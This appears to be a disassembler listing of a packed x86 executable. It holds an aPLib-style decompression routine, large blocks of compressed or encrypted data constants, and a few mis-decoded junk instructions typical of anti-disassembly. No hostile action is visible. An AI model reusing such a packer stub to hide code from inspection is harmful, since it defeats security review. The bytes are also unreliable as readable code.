		sub	[ebx+7888E4C9h], dl
		mov	esp, 0AE03825Eh
		xor	[ebx], edx
		mov	ds:0D8B164B0h, eax
		jmp	short loc_51913F
; ---------------------------------------------------------------------------
		dw 0DCBAh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 61573BF6h
		dd 84D2BB2h, 68E04B2Fh,	0F445BCD3h, 912245BEh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51911B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_519127:				; CODE XREF: sub_51911B:loc_51913Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_519132:				; CODE XREF: sub_51911B+7Aj
					; sub_51911B+C3j ...
		add	dl, dl
		jnz	short loc_51913B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51913B:				; CODE XREF: sub_51911B+19j
		jnb	short loc_519127
		add	dl, dl


loc_51913F:				; CODE XREF: ud2_____:005190C8j
		jnz	short loc_519146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_519146:				; CODE XREF: sub_51911B:loc_51913Fj
		jnb	short loc_519197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_519153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_519153:				; CODE XREF: sub_51911B+31j
		jnb	loc_519238
		add	dl, dl
		jnz	short loc_519162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_519162:				; CODE XREF: sub_51911B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51916D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51916D:				; CODE XREF: sub_51911B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_519178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_519178:				; CODE XREF: sub_51911B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_519183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_519183:				; CODE XREF: sub_51911B+61j
		adc	eax, eax
		jz	short loc_51918D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51918D:				; CODE XREF: sub_51911B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_519132
; ---------------------------------------------------------------------------


loc_519197:				; CODE XREF: sub_51911B:loc_519146j
		mov	eax, 1


loc_51919C:				; CODE XREF: sub_51911B:loc_5191B0j
		add	dl, dl
		jnz	short loc_5191A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5191A5:				; CODE XREF: sub_51911B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5191B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5191B0:				; CODE XREF: sub_51911B+8Ej
		jb	short loc_51919C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5191E3
		mov	ecx, 1


loc_5191C0:				; CODE XREF: sub_51911B:loc_5191D4j
		add	dl, dl
		jnz	short loc_5191C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5191C9:				; CODE XREF: sub_51911B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5191D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5191D4:				; CODE XREF: sub_51911B+B2j
		jb	short loc_5191C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_519132
; ---------------------------------------------------------------------------


loc_5191E3:				; CODE XREF: sub_51911B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5191F1:				; CODE XREF: sub_51911B:loc_519205j
		add	dl, dl
		jnz	short loc_5191FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5191FA:				; CODE XREF: sub_51911B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_519205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_519205:				; CODE XREF: sub_51911B+E3j
		jb	short loc_5191F1
		cmp	eax, 7D00h
		jnb	short loc_519228
		cmp	eax, 500h
		jb	short loc_519223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_519132
; ---------------------------------------------------------------------------


loc_519223:				; CODE XREF: sub_51911B+F8j
		cmp	eax, 7Fh
		ja	short loc_51922B


loc_519228:				; CODE XREF: sub_51911B+F1j
		add	ecx, 2


loc_51922B:				; CODE XREF: sub_51911B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_519132
; ---------------------------------------------------------------------------


loc_519238:				; CODE XREF: sub_51911B:loc_519153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_519259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_519132
; ---------------------------------------------------------------------------


loc_519259:				; CODE XREF: sub_51911B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51911B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_519265:				; CODE XREF: start:loc_519076j
					; start+9Dj
		jmp	loc_569E28
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51926A	dw 38E9h		; DATA XREF: start+77o
		dd 15632E4h, 92C8EFBFh,	22AF46B8h, 0BB0AE121h, 102E11F2h
		dd 3321EFEEh, 0F2BF10EEh, 0FA102E71h, 1AE101BCh, 0BE9495EBh
		dd 19B22A2h, 0C0BF3B84h, 74736552h, 38727361h, 2EBD7041h
		dd 8570783Eh, 1524D975h, 0BFE0CBh, 6D656854h, 99616469h
		dd 387C57B9h, 15203AAh,	3622FEEFh, 30F01FE1h, 31702D34h
		dd 98E4FD8Dh, 0A577235Ch, 0E45D48EDh, 0FF00E301h, 4AE101F8h
		dd 22EAAA01h, 0FF0FE135h, 87C58B1Ch, 8E860D4h, 0ED815D80h
		dd 6D132F3h, 7D958905h,	0B5110D30h, 85082265h, 8302125Dh
		dd 0E2401BDh, 8B0C7401h, 0B8E2C8E8h, 0C29E01B4h, 244470F1h
		dd 353E10C7h, 456A060Fh, 729A3E8h, 83749A68h, 1DFA507h
		dd 894B250Ah, 10D5E90Ah, 0A50214E9h
		db 0ECh, 7Dh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B0033E1h
		fcmovb	st, st(7)	; CODE XREF: ud2_____:00519371j
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		rep or dword ptr [ebx+30h], 45h
		call	dword ptr [edx]
		inc	ebx
		jmp	short near ptr loc_519353+1
; ---------------------------------------------------------------------------
		db 0C6h
		dd 2661DC36h, 0C228C9E8h, 810D4604h, 2FF7CC4h, 402A491Ch
		dd 45018D34h, 85D8B80h,	194485C7h, 0A8D504Ah, 88C3D100h
		dd 0A8894118h, 0A2BD810Bh, 755D0206h, 282794E3h, 0EC64BA8Dh
		dd 8A800475h, 90F4BB0Eh, 37ABB85Bh, 0D378540Fh,	80FCCD0h
		dd 0F7753B4Bh, 47C3AF05h, 624A2446h, 42A2F946h,	8ABA61D1h
		dd 5FF0D007h, 0FC45EED8h, 4EB4DA0h, 46C8ADA3h, 40C53E80h
		dd 8436BAF7h, 197DE634h, 3E7FEB0Ch, 0C86D0CF8h,	0E4CF012h
		dd 4A10A8F4h, 0F06514C1h, 0F803D604h, 0C203E0D1h, 33012896h
		dd 301C8ADBh, 72CCFB80h, 390AC30Ah, 0EBD30577h,	142226EFh
		dd 0D67617Fh, 8F6660Ah,	0C3F4F51Eh, 0C310EA0Ah,	0B72411Ah
		dd 77460A0Dh, 21EA2406h, 87F05D01h, 7D83F4ECh, 0B0720231h
		dd 76C00CB3h, 0AA64A576h, 0E01CF826h, 0A8A08D76h, 0FC0A553Bh
		dd 0BD78820Fh, 0AA1BB09Ch, 0BA0EE538h, 0AB90E08h, 0BD9DFC70h
		dd 0FE003550h, 7549470Fh, 2271B9FAh, 0BB016A77h, 0F1129101h
		dd 76DBEB82h, 868E0002h, 6D23750h, 36E06551h, 8A7317FDh
		dd 0E94FBC26h, 67590391h, 0A0FD0FBCh, 0C2CDA8Ch, 0E8B10C3h
		dd 961EA21h, 0C2053D0Bh, 3324CFDCh, 0F14EACE6h,	0D482B000h
		dd 0C5610AEh, 34CB388Ch, 3983673Dh, 0F765B4Eh, 3D51B8F0h
		dd 3BD1043Eh, 5446303Bh, 0EA2E0975h, 480EC011h,	9065E4ECh
		dd 84500650h, 8E05C506h, 47DB6396h, 0C2048553h,	718C2940h
		dd 0D9E78205h, 86FFAD0Eh, 477812Bh, 341D0022h, 33F984C1h
		dd 0BCC82075h, 0ABB3B3Fh, 230EF33h, 0C4EC4199h,	0CCCF7F8Ch
		dd 6740C8FFh, 28E9F545h, 0C4006260h, 254D8C52h,	42AA8211h
		dd 5AAB66B1h, 53138484h, 5E05D356h, 506EEE82h, 2C22F481h
		dd 0B9518A7Dh, 97230213h, 0FA3C4394h, 0E9578C6Bh, 39211904h
		dd 8A0AC45Fh, 19952575h, 81170845h, 0C4574721h,	3880E870h
		dd 5CCED881h, 460390BCh, 8D675DBFh, 8F909FDAh, 18E28179h
		dd 3F14EA05h, 9A1F9D22h, 280D8A2h, 0AA96CFC3h, 3B450037h
		dd 1C096569h, 0CA1E0BB9h, 37718610h, 0B800DE9h,	0C37AAC40h
		dd 31037D17h, 0AF0623D1h, 0DD7000CBh, 86C85CC1h, 85A121EAh
		dd 0E437B202h, 0C45C3054h, 5D468AE4h, 441F1D22h, 0E6C0C454h
		dd 0D39A20EAh, 5E1924B1h, 0B665607Dh, 0C00FA5B5h, 0B42476ADh
		dd 9491751Eh, 0B2556E00h, 165D143h, 490FC6F1h, 4880CF0Dh
		dd 8A890152h, 0C3079AE8h, 0DAC01014h, 25FE1210h, 2BE928h
		dd 179074E8h, 678B3C28h, 0F73D360Fh, 0E9532530h, 25A32800h
		dd 607EB963h, 5F5AEEB3h, 0A6E8E10h, 8783CA21h, 0CD36E4Ch
		dd 5FBCC782h, 0D17BB813h, 3A224EA3h, 0DC820307h, 7FF68AA8h
		dd 0FD383580h, 0BB1F1998h, 0E9C0E25Ah, 43F05FCDh, 10DF608Ch
		dd 703D021Dh, 450CEA30h, 20EE9Bh, 687FE87Eh, 0A98564F9h
		dd 2CF18202h, 40453427h, 7C8D3B8h, 3F058A9Eh, 3F03F610h
		dd 6773B603h, 0D9E7F8BAh, 98D425F0h, 0B9516722h, 21C8B35Ah
		dd 7B91177Ah, 0D0225398h, 3882705Ch, 9070A2F9h,	0F42E9D35h
		dd 73489CAh, 0F0ABE08Ch, 4014F762h, 300B073Ah, 5BFDDE87h
		dd 839F008Ch, 7EE554C9h, 5200A65Ah, 11BDF0Ch, 1B60098Bh
		dd 83BBBF7h, 87033A3Fh,	207F84E3h, 4864D020h, 5FFF3117h
		dd 0F9E68760h, 0F50ED04Fh, 43D38907h, 0B370341Fh, 0E580A3Ch
		dd 5A93D563h, 1033E3A3h, 81192899h, 489D718h, 608116BBh
		dd 0F93351E4h, 6859863Bh, 0F0B80E75h, 0E2880034h, 6357F5FCh
		dd 19C089FEh, 0E35CA814h, 66218F8h, 19DE909h, 8A6A3Fh
		dd 0C0722B9Bh, 33E748h,	0E0087845h, 6EC36FBh, 543180E1h
		dd 0D8EF2D49h, 0B1BF1866h, 70439EFAh, 0EB8A6414h, 7CD70114h
		dd 616C1273h, 3D896D8h,	0FE43838Bh, 9101888Ch, 3CB7E540h
		dd 0C9984D30h, 0BBEF4E8Fh, 4957A100h, 0E95E0752h, 21F507EAh
		dd 306CBDDEh, 0EC13A386h, 39632F30h, 2C3BA78h, 54827B3Fh
		dd 0A4807F9Fh, 0EB674E42h, 0F7FAF314h, 0B77E099Ch, 0A6448034h
		dd 0AFBA8DBh, 37799780h, 1B0724D4h, 7FE0C1F5h, 18C953E8h
		dd 19348CDFh, 3A900E2Ch, 0F920D73Ch, 0EBFE1CBh,	0DEF700Ah
		dd 604EF408h, 0E69BD67Ah, 0CE3B50A4h, 0B3110AF5h, 4F81343h
		dd 36CD3h, 0EAA8DE82h, 8C1733ACh, 49D6AB28h, 40D0621Fh
		dd 7D8853C0h, 604F1C8Bh, 0FECAC80Dh, 29D48193h,	0EF481414h
		dd 54C842F8h, 0FC407F18h, 0E85F3EDEh, 33D65B80h, 6B7CE6EEh
		dd 63708F6Eh, 730626FCh, 5FC1C028h, 0C30D9C34h,	24CCF303h
		dd 0BC116BCBh, 0AF148B01h, 68308421h, 0F7032573h, 910095ABh
		dd 0FE3FD0E7h, 1E722Ch,	0D30654A6h, 82DA18F9h, 4D537F03h
		dd 93AB87h, 912ADF31h, 3D2454E4h, 497BCF01h, 0B3CA91Bh
		dd 106FE20h, 0D6FBF9FFh, 86107A68h, 620A0D71h, 0C98F3CB1h
		dd 0CF95780Ah, 0FEC503B9h, 61038D98h, 8BACE4A7h, 84F00394h
		dd 24607EB0h, 0DFCC496Eh, 85070D8Bh, 0A5001F71h, 9E50254h
		dd 0B290A0B8h, 827F800Bh, 0B310E11Ch, 7B51594h,	5D406FD8h
		dd 5E6EF890h, 9E77307Ch, 7FEEC068h, 0A1636B07h,	0A8E06DE4h
		dd 249F2899h, 22C4FBCh,	0FC2DEB3Ah, 7F7ADC82h, 870A4444h
		dd 0B8D50772h, 0F7404824h, 60B0F48Fh, 55F8882Bh, 5C61EC66h
		dd 0DD82D079h, 0FD500E20h, 0D473508Fh, 153100DDh, 2C6ABB4h
		dd 0E4CA4700h, 7244D9BFh, 2D3B0062h, 0F0E4B40h,	7600D42Bh
		dd 48029C14h, 0FF8A3CE6h, 3D8645D0h, 0A901818Fh, 41500EA1h
		dd 5324E090h, 7800D77Ch, 6D93D0C1h, 4B4CEh, 0C76CC2Bh
		dd 0F15447BFh, 58C54903h, 0C8D339E5h, 89D550h, 0E4329648h
		dd 91CD68B3h, 6E644102h, 83547897h, 0C0893080h,	229A3ABDh
		dd 61500F60h, 6F763C89h, 45EA4Ch, 3449145h, 607D68A7h
		dd 0FD362918h, 0EE8F3C5h, 84D8ED24h, 2122F08h, 656F74E6h
		dd 2701D08Fh, 243FA447h, 42A1184h, 0F607F4B3h, 0DF8AC622h
		dd 0AB6890A9h, 28928Fh,	66CFFDC2h, 24DC998h, 94B27009h
		dd 0A6082021h, 3A26B7A7h, 98F8A5B6h, 200490A0h,	0EB1B8EEFh
		dd 0A3911EFBh, 5087AC58h, 1958762h, 87070401h, 97FA7E21h
		dd 8C026AE5h, 0C870D288h, 0C00B6014h, 0D4D4BF1h, 0D600C7F5h
		dd 11957D06h, 60A374E7h, 106F5068h, 24D50EBh, 10987538h
		dd 88A7800Dh, 0A8245852h, 0BB0F09F8h, 2006F4BCh, 5B052E80h
		dd 970C8BD7h, 608E6C92h, 8843D48Ch, 0D0C4857Eh,	8C1F27B2h
		dd 1E990A5Fh, 3E01D572h, 9E53BBDAh, 8060E347h, 5D9F40BFh
		dd 47A4B0A3h, 87488BFEh, 0B480CBA8h, 75089094h,	8B0C7026h
		dd 680246FCh, 0C03801F9h, 91FF1057h, 8A3996F5h,	11285810h
		dd 4C7C8189h, 47876CDEh, 8FDC83E4h, 66F113Ch, 8D796957h
		dd 80C09181h, 6FBA9555h, 0AC509BD1h, 0D893914h,	0C4064C6h
		dd 64238C5Eh, 5000BED8h, 3A6F8069h, 44AB6EF9h, 19009989h
		dd 0D57CE11Ah, 378329h,	0DD70BDA8h, 67D87A4Ch, 0BC36F228h
		dd 2058FB50h, 68EC8F17h, 0BF5E2448h, 47187CBEh,	81A71889h
		dd 2FCE820Ch, 76214Eh, 0BA50038Bh, 3E2A60BFh, 3A307100h
		dd 4CDC161Ch, 1209857h,	0BDD899DDh, 8E080728h, 407A5871h
		dd 43503C9Bh, 2D0A00D6h, 0FAC7565h, 3509A0A5h, 0A9446097h
		dd 39CD0C54h, 264B0BEh,	7EB7EAA2h, 7460902Fh, 0D509F68Ah
		dd 90607F53h, 0FCFB1EDCh, 134B26C5h, 0CF610EBBh, 45BB3880h
		dd 0C00FF768h, 0A6D78011h, 0D1600Eh, 963F18B8h,	5582D876h
		dd 0C0C77F28h, 91065744h
		dd 640300D4h, 99EA8CD2h, 5E32EE04h, 94C05277h, 0F4BA7Ch
		dd 0D5B540AFh, 1E073485h, 1C893C04h, 0B8950E23h, 3A153C04h
		dd 7CE73B00h, 0ECA07971h, 0DA30F48Bh, 0A4EA2805h, 1984FD8Eh
		dd 603F704h, 890A06h, 0AEBA4E1Ch, 0D96BA112h, 9D7F4000h
		dd 7BB171DCh, 0C38E2403h, 3E240BAAh, 0D8A3CF09h, 8900024Fh
		dd 2EA7E46Eh, 0C766D3ACh, 42083668h, 24C22965h,	4628E082h
		dd 0A4E7610Eh, 30349BE3h, 0E41F4403h, 0C1D4A2F8h, 0C1F637D4h
		dd 0D846CCAh, 24A56C02h, 31016F1h, 466370Ch, 0DF21B730h
		dd 0A07F1FA9h, 0BF2024B0h, 3D337367h, 5D97D817h, 66C4682h
		dd 6B003991h, 0AF7F6102h, 26E10E98h, 170233F9h,	66FA0980h
		dd 6996FCA6h, 0D229FB12h, 83F5E808h, 5898A7F8h,	75842800h
		dd 2F0D470Ch, 8D43308Ch, 74B8A80h, 1C000491h, 0B183A59Ch
		dd 14590D6h, 0DAA51ECh,	0CC954EA6h, 4049B7Fh, 30CC4AA4h
		dd 24324A4h, 9CEE1B9Fh,	0CC15224h, 83390h, 7A505C3Dh, 247432A0h
		dd 15104DBEh, 0A0F800Fh, 9D896955h, 0DD84FC29h,	0A43CA097h
		dd 30A7200Ch, 29C1C04Eh, 0B47E68h, 94B7A134h, 2E0CA888h
		dd 50902BA4h, 345E4009h, 0C18BAB88h, 1EE4C789h,	30C521A7h
		dd 4F3C4A62h, 69287434h, 4CA02C81h, 6283F543h, 21839010h
		dd 180088Ah, 2F86F417h,	3F588C7Fh, 0F21C3860h, 74EA8019h
		dd 2C914A7Fh, 10146B0Bh, 827807A4h, 7307E4C6h, 3C3315C0h
		dd 0C410C530h, 876B00EFh, 0E653F45Bh, 0C124A693h, 601C1E17h
		dd 8785342Ch, 8C0F5034h, 0FC08410h, 645F81C2h, 26EF0118h
		dd 51195D99h, 77F6D88Fh, 79548C00h, 0FD6844E4h,	0AD8100DCh
		dd 39DF1C0Ch, 38C1A39Eh, 1A4EF489h, 8C6024h, 78485EF6h
		dd 4F39ADC4h, 6A2EEC15h, 9A6000FCh, 76BDF472h, 0ADB007B4h
		dd 809F0D1Bh, 0F8E0C77Bh, 0DABC2900h, 13CB777Fh, 0DB7410E5h
		dd 8330084h, 0D061EE21h, 0CF770737h, 9136DE80h,	201C395Bh
		dd 0FB418F98h, 27E5EF0h, 0BB23C5FCh, 0A8C03610h, 8804578h
		dd 35CF806h, 9FF835AAh,	193F4C60h, 0F882C41Eh, 0F540450Ch
		dd 117862F9h, 7039B97h,	64AB3311h, 0FA771100h, 7DAAE143h
		dd 3BF300D8h, 0E2990E55h, 0B6002F50h, 0D6E3F0C0h, 500CEA90h
		dd 4960CCF6h, 0C41F3C92h, 24724F8Fh, 0F398FBC0h, 7C534E49h
		dd 4A738404h, 0D8D36E00h, 5300C23Ch, 2F9109D5h,	307889FDh
		dd 4E19120Bh, 8330778Bh, 0D113404Ch, 0E75603D5h, 530B5A50h
		dd 788E5900h, 0DA9AC79Bh, 56571F48h, 966A00DBh,	493B8831h
		dd 0B316212Eh, 75115000h, 0FCDA5A0h, 5FE48F5h, 108F0206h
		dd 8B033086h, 51E04E8Ah, 1A890D7h, 0F71A070Fh, 0ECC503F3h
		dd 909D9A0h, 3FC8230h, 0C3D4E627h, 0F210B6DEh, 88F62856h
		dd 4C03407Ch, 9E99706Eh, 86B1D518h, 1275300Fh, 7E625289h
		dd 0DD0D38C0h, 1D499F8h, 4D805788h, 830E857Bh, 0BCD0DE29h
		dd 0FB00533h, 5D4F02BAh, 0A81A14B4h, 20157085h,	4DDC0A08h
		dd 28D428C3h, 114178C9h, 24CD304h, 0B705413h, 0BBC4A00Eh
		dd 0C10A7507h, 0C76F5579h, 76D45C77h, 14C85754h, 0CD076E15h
		dd 21DB0A18h, 789F8CB2h, 18886954h, 767148D3h, 0F4678A1h
		dd 3666FD3Eh, 5975D923h, 85F412FFh, 82DAD441h, 0F5159241h
		dd 0E4ACA2AAh, 603044F6h, 0DD43D8C9h, 0F763A891h, 883605E8h
		dd 98895452h, 0F4380C84h, 0D3B925A3h, 0F74C3150h, 7BB5FE18h
		dd 60E59658h, 0DD93D1CDh, 0D1EFA8E1h, 0EC4BD1E9h, 7000FD24h
		dd 0EB049854h, 0C07F2A90h, 59C17E91h, 11C089D1h, 4393FC06h
		dd 0D5033DCEh, 10546166h, 80BCD351h, 359ADC10h,	2A8C0428h
		dd 15D08078h, 287F0D84h, 1F7D3BA1h, 58B3980Ch, 98917658h
		dd 0A00DF16h, 0BC42E801h, 3EE70AF8h, 80A4F509h,	8E982469h
		dd 0E5325C1h, 0A07C040h, 0C0EC083Fh, 663D3C39h,	6803EB0Fh
		dd 0D2C83D5h, 0F5910954h, 4C03F46Ch, 3174F1B5h,	3613CADh
		dd 0A450EFD8h, 91DFC73Bh, 0D158063Ch, 34853138h, 2F1564h
		dd 3E1B0F88h, 0CCD67861h, 45D184CCh, 55EAB200h,	0DA93EC06h
		dd 48D951E4h, 46BCB6D2h, 0D459C2C5h, 42E449E2h,	820CAD1h
		dd 33D52A04h, 92A978A8h, 718B187Ch, 8796615Ch, 445EA9C8h
		dd 1A0843B8h, 0F703E9CAh, 17787180h, 41705A54h,	27EC3B00h
		dd 7FE56FB3h, 0A824984Ch, 3AA3770h, 47DF60Ah, 810246D6h
		dd 0DCF8CDD3h, 0BF20B1F5h, 4D0ABC48h, 3D1248C1h, 0DF9C09EAh
		dd 76FFA000h, 0FF88513h, 1008356Ah, 39B0D71Fh, 3D3FEBBh
		dd 54BFC09Ah, 67E834CCh, 0DF588608h, 308007A5h,	61B77BFDh
		dd 0F611A09Fh, 50254942h, 31DD1B5h, 7AA1BEFBh, 0D0AF4CB3h
		dd 6C0EB0DBh, 0AFC5DC2Eh, 0C23C300h, 79EB67F7h,	8CFA3002h
		dd 4E54B740h, 831E40h, 0D44A107Ah, 132ADB5Ch, 3F8A3F0h
		dd 0FD0029EAh, 0CF9343BFh, 1FB52802h, 80DB4842h, 0FB104A55h
		dd 0C53B7DC7h, 5CDA890Dh, 0E0E82DD5h, 0D4AF041Ah, 0A0DA01F8h
		dd 0D44C03BCh, 0B7D820h, 0BEAB8015h, 669881Bh, 20FEC300h
		dd 0BC1864E5h, 1C5A018Ch, 0DA535610h, 80A1FD0Ch, 9FCC4E40h
		dd 0D02616h, 10D5A36Eh,	31185B13h, 0E767FF00h, 9D1C6FA7h
		dd 0BC1E0060h, 0FEE65A40h, 0C608A1C2h, 0D73F05h, 0D287CFB4h
		dd 130017C3h, 0F22F0C25h, 0ECB17392h, 8C5001BCh, 4340C009h
		dd 57C4D41Bh, 4B05B300h, 0B1EB9FC9h, 0D2883B08h, 4A2438CCh
		dd 3A745D94h, 90F7DD0h,	0E0E0CE51h, 0A371CFB0h,	130EC300h
		dd 4330F022h, 0F64F663h, 5B56F60Bh, 9753B5A1h, 0A1D6C410h
		dd 5508C303h, 90156813h, 0D98017h, 546EE2BEh, 6FF0301Ah
		dd 7083A003h, 0D05958A5h, 1D9B530Ah, 6D60FDAh, 405C0BC5h
		dd 1267EF00h, 0E2BDA36Bh, 4300088h, 0AA9BFD2Dh,	0B2000B70h
		dd 0A1E3E8Ch, 104E44h, 0C587180Fh, 4F1349BFh, 1124E900h
		dd 0CCBDAD6Bh, 558CB3F2h, 3B414F8h, 97A9ADBh, 0E2F8C94Dh
		dd 823C1BB7h, 13CD82ACh, 3BB073Eh, 0B3D0FB7Bh, 26764D42h
		dd 7A4E3F3Ch, 0BF9AD100h, 60D68008h, 200F0315h,	6C9A472h
		dd 0C2AF2DD0h, 0AA64F100h, 530D0C5Ch, 17810059h, 9DD433Fh
		dd 0BC009718h, 63D85B10h, 3D02412h, 1C08D57Bh, 32A34013h
		dd 5EAA9580h, 53F62700h, 58BA1A3Eh, 0F51E025Ah,	3C2A417h
		dd 165DF840h, 0C5072C74h, 0BA0CC3DBh, 0C124AF92h, 4510DDACh
		dd 9141C61h, 9184A153h,	0FBBF04h, 0E09C2F53h, 9E3771h
		dd 0C842F799h, 39F2F8DEh, 925834A5h, 0A76500E5h, 91F8832Ah
		dd 0F701E0C6h, 0A92D8B52h, 1E0A4A97h, 18B129F5h, 7E10E9E5h
		dd 0B103B4F0h, 0F936CA51h, 19DBF8CEh, 2C5F99h, 0B9D50A44h
		dd 0F4BE3371h, 809ADD88h, 28D4E9F9h, 48BE01A2h,	7E25A703h
		dd 26383A57h, 7D1181E0h, 0D701AD79h, 600348F5h,	1C4CD53Bh
		dd 6DDB8127h, 0C8DA00C4h, 50E5D49Ch, 6DC7067Bh,	0B9F0E485h
		dd 0DBBCF900h, 0F14583FAh, 0C2910FBFh, 6D600F77h, 0F2417C7Bh
		dd 2EF95260h, 1D70B856h, 975758D4h, 45E0C3CDh, 4E942100h
		dd 0C7FF01B8h, 0ACB3011Ch, 28A2EA5Ah, 8CE880AFh, 4D80B20Fh
		dd 560B334Eh, 0C7E029A1h, 810BDF40h, 0E1D6F7A8h, 21802D60h
		dd 5DC78397h, 8003493Fh, 87D0ACC2h, 0F2F8113Dh,	0D6040A61h
		dd 0D2BB9419h, 0C0D8B75Ch, 851CCB20h, 75845AC0h, 49E55664h
		dd 0D6000008h, 907705BBh, 700042Dh, 1E14487Bh, 1C27A10h
		dd 0D306B09Ch, 402715C1h, 0D258F3F0h, 802075Eh,	846AB90Fh
		dd 556042A8h
		dd 0D4236FB8h, 3471150h, 0E5B84D8Dh, 0FEF4A0DFh, 1A19C05Bh
		dd 906E1FB3h, 0ED0E197Ch, 60049F09h, 36A5FF0h, 0B843F15Dh
		dd 4800EDDBh, 8F8A2AD9h, 0F65214ECh, 42F89487h,	6096058Ch
		dd 0F4F23B0Dh, 3F00B5B8h, 0B7387A17h, 8B6D4Dh, 55ACD94Ch
		dd 0CCDA5A3Dh, 0F1F7DE00h, 0D36EA5ECh, 0A15061BCh, 5B8D21h
		dd 65E083h, 0BDE2704Dh,	0F599F366h, 9C4EA9C0h, 9586153Bh
		dd 9FD6826h, 3C219660h,	397C1543h, 4775629h, 0D6598813h
		dd 10E5498Bh, 0D0A378h,	3BBBC0F2h, 161D15FEh, 109D93Eh
		dd 0F889FC9Eh, 1FDBC4A2h, 816A7EA0h, 0F6057C61h, 45E02035h
		dd 10F44040h, 12A194A3h, 4A4FC3Fh, 0B8DB184Ah, 0C8D318A7h
		dd 0C0DCEE04h, 0C0ADF0C1h, 2997910h, 0A5C4A07h,	2F744852h
		dd 6CAD00A4h, 0DFEEB21Fh, 19011622h, 0BFBD76F9h, 0F67805D7h
		dd 6A97428h, 63E6182h, 0B3079EFh, 1EA14954h, 16F102E6h
		dd 5889568Ch, 6048F484h, 246DB85Fh, 718860D4h, 13B8EC93h
		dd 1E9B7901h, 1C58AA90h, 508BE4C0h, 0D6346Eh, 73CEC212h
		dd 0C6857B71h, 964D03Eh, 7099C93Eh, 6A5D0524h, 29538D3h
		dd 0D80A1788h, 78CBB4A9h, 909AD2A3h, 45CB8A3h, 890051C3h
		dd 2E70B678h, 6466056Dh, 6046C836h, 246BB861h, 705870D4h
		dd 0B8025991h, 0C919D4CBh, 90DC8A2Ah, 1508308h,	0FFDD0861h
		dd 56C8402Dh, 8EE1093Fh, 18A37099h, 474D3B9h, 8FD158F5h
		dd 60B40AF3h, 70457200h, 986EB21h, 39FDC1D2h, 0A8360099h
		dd 60466831h, 6F159402h, 0A0319E05h, 153C4310h,	8F01E473h
		dd 0F6640D2Bh, 86DCE7E6h, 0B037607Fh, 3921DA60h, 40702862h
		dd 0E50C402h, 6AA477CEh, 3F817F7Fh, 0B3750F9Fh,	0C388146h
		dd 5FA44229h, 25F8C520h, 0D4C8D958h, 0F904E06Ah, 9D75052Eh
		dd 4D7F5490h, 1D89B4Ch,	0DF3AC786h, 88251891h, 0C70E7D89h
		dd 0E30C0DA7h, 0C817C5A2h, 20C8DDF4h, 0CA0C0649h, 6031EF75h
		dd 22DB7464h, 0E105530Ah, 651E2D95h, 6E134480h,	0C4BF047Dh
		dd 0BDA34A0Eh, 68430220h, 90EDE587h, 797EC4h, 0D6C5F325h
		dd 96439B6Fh, 6D5D6100h, 6A42AD3Eh, 395F006Ch, 0E17CDA62h
		dd 1892D4D2h, 925E2B3Fh, 94E04CCAh, 0D0E44A7Eh,	12625314h
		dd 0A8D3554Bh, 0FC093172h, 9A3321h, 1D4AB7F2h, 0C11CC6B6h
		dd 6903F4A5h, 4E2021A9h, 0C047885Ch, 8BFECCA4h,	1DD0DB09h
		dd 0E520813Eh, 79804A01h, 47D745E4h, 810ED939h,	674CA163h
